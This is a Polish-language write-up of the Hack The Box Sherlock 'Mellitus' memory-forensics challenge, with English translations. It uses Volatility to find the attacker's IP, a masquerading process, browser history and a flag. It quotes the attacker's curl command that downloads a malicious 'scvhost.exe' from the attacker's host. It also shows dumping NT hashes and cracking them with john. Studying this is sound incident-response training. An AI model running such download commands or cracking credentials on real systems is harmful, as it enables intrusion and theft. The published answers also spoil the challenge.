HTB Sherlock - Mellitus Writeup

HTB Sherlock - Mellitus Writeup

Scenariusz Zadania

Byłeś analitykiem SOC przez ostatnie 4 lata, ale przez ten czas doskonaliłeś swoje umiejętności w zakresie reagowania na incydenty! Nadszedł czas, aby podjąć ryzyko i ubiegać się o wymarzoną pracę jako Specjalista ds. Reagowania na Incydenty, ponieważ to jest ścieżka, którą chcesz podążać w swojej karierze. Obecnie przechodzisz przez proces rekrutacji do średniej wielkości wewnętrznego zespołu ds. reagowania na incydenty, a pewny siebie rekruter zadał Ci trudne techniczne wyzwanie, aby sprawdzić Twoje umiejętności w zakresie analizy pamięci. Czy uda Ci się odpowiedzieć na wszystkie pytania poprawnie i zdobyć tę pracę?

(ang. You’ve been a SOC analyst for the last 4 years but you’ve been honing your incident response skills! It’s about time you bite the bullet and go for your dream job as an Incident Responder as that’s the path you’d like your career to follow. Currently you are going through the interview process for a medium size incident response internal team and the cocky interviewing responder has given you a tough technical challenge to test your memory forensics aptitude. Can you get all the questions right and secure the job?)

Rozwiązanie

Zadanie 1

Jaką godzinę wskazywał system w momencie przechwycenia pamięci?

(ang. What was the time on the system when the memory was captured?)

Za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem windows.info uzyskujemy podstawowe informacje na temat przechwyconego zrzutu pamięci (Rys. 1).

Rys. 1. Informacje na temat zrzutu pamięci.
Rys. 1. Informacje na temat zrzutu pamięci.

Odpowiedź: 2023-10-31 13:59:26

Zadanie 2

Jaki jest adres IP atakującego?

(ang. What is the IP address of the attacker?)

Za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem windows.netstat wyświetlimy wszystkie nawiązane połączenia w momencie wykonania zrzutu. Tylko jeden port będzie się wyróżniał, mianowicie port 4545 (Rys 2).

Rys. 2. Wykryty adres IP atakującego.
Rys. 2. Wykryty adres IP atakującego.

Odpowiedź: 192.168.157.151

Zadanie 3

Jak nazywa się dziwny proces?

(ang. What is the name of the strange process?)

Nie mogłem ustalić nazwy procesu, ponieważ netstat nie pokazywał PID ani nazwy. W związku z tym skorzystałem z niezawodnych narzędzi grep i strings, co pozwoliło mi również znaleźć odpowiedź na zadanie 5 (Rys 3).

Rys. 3. Wykryte polecenie wykonane przez atakującego oraz nazwa procesu.
Rys. 3. Wykryte polecenie wykonane przez atakującego oraz nazwa procesu.

Odpowiedź: Scvhost.exe

Zadanie 4

Jaki jest PID procesu, który uruchomił złośliwy plik binarny?

(ang. What is the PID of the process that launched the malicious binary?)

Po wykryciu nazwy procesu w poprzednim zadaniu, za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem windows.pstree wylistowałem drzewo procesów na systemie, a następnie znalazłem jego PID (Rys. 4).

Rys. 4. Wykryty PID złośliwego procesu.
Rys. 4. Wykryty PID złośliwego procesu.

Odpowiedź: 6772

Zadanie 5

Jakie polecenie wprowadziło złośliwy plik binarny na maszynę?

(ang. What was the command that got the malicious binary onto the machine?)

Odpowiedź znaleziona w zadaniu 3.

Odpowiedź: curl -o scvhost.exe http://192.168.157.151:8000/scvhost.exe

Zadanie 6

Atakujący próbował uzyskać dostęp do naszego hosta za pomocą FTP. Ilu użytkowników próbował?

(ang. The attacker attempted to gain entry to our host via FTP. How many users did they attempt?)

Za pomocą poleceń grep oraz strings znalazłem logi z prób logowania na serwer FTP. Zawierały one nazwy użytkowników (Rys 5).

Rys. 5. Logi z serwera FTP.
Rys. 5. Logi z serwera FTP.

Odpowiedź: 3

Zadanie 7

Jaki jest pełny adres URL ostatniej strony internetowej, którą odwiedził atakujący?

(ang. What is the full URL of the last website the attacker visited?)

Najpierw w listach procesów znalazłem, że używany jest Google Chrome. Następnie pobrałem wszystkie pliki związane z tym procesem za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem -o ../mellitus windows.dumpfiles --pid 8048. W pobranych plikach udało mi się znaleźć bazę danych zawierającą historię przeglądania użytkownika, o nazwie file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History.vacb. Następnie, w tabelach znalazłem ostatni wpis (Rys. 6).

Rys. 6. Historia przeglądania Google Chrome.
Rys. 6. Historia przeglądania Google Chrome.

Odpowiedź: https://stackoverflow.com/questions/38005341/the-response-content-cannot-be-parsed-because-the-internet-explorer-engine-is-no

Zadanie 8

Jakie jest hasło zafektowanego użytkownika?

(ang. What is the affected users password?)

Najpierw za pomocą polecenia python vol.py -f ../mellitus/memory_dump.vmem windows.hashdump wykonałem zrzut hashy z pamięci. Następnie, za pomocą polecenia john tools/htb/hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT, otrzymałem wersję jawną hasła.

Rys. 7. Złamane hasło użytkownika.
Rys. 7. Złamane hasło użytkownika.

Odpowiedź: flowers123

Zadanie 9

Jest ukryta flaga związana z PID 5116. Czy możesz potwierdzić, czym ona jest?

(ang. There is a flag hidden related to PID 5116. Can you confirm what it is?)

Za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem -o ../mellitus windows.dumpfiles --pid 5116 -dump wykonałem zrzut pamięci procesu. Następnie otworzyłem plik za pomocą GIMP, wybierając opcję “Raw image data” i ustawiłem offset, aż na podglądzie pojawił się obraz lub jednolity kolor (Rys 8).

Rys. 8. Znaleziona flaga.
Rys. 8. Znaleziona flaga.

Odpowiedź: you_Foundme!